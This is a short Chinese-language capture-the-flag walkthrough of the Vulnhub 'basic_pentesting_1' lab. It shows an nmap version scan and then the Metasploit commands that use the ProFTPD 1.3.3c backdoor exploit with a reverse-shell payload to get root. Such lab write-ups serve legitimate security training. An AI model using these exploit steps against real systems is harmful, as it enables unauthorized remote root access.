【Vulnhub】basic_pentesting_1

信息收集

在这里插入图片描述
三个端口,ftp,ssh,http

看来突破口不在网站上,那就看看是不是ftp,ssh和apache的问题,nmap扫描版本

nmap -sV -O 192.168.83.147

在这里插入图片描述

┌──(root㉿kali)-[~]
└─# nmap -sV -O 192.168.83.147
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-28 21:17 CST
Nmap scan report for 192.168.83.147
Host is up (0.00023s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:17:75:5C (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.73 seconds

这个版本正确,而且msf上有
在这里插入图片描述

msf

search proftpd 1.3.3
use exploit/unix/ftp/proftpd_133c_backdoor
show options
set rhosts 192.168.83.147
set payload cmd/unix/reverse
set lhost 192.168.83.128
run

直接是root权限,找flag过关
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值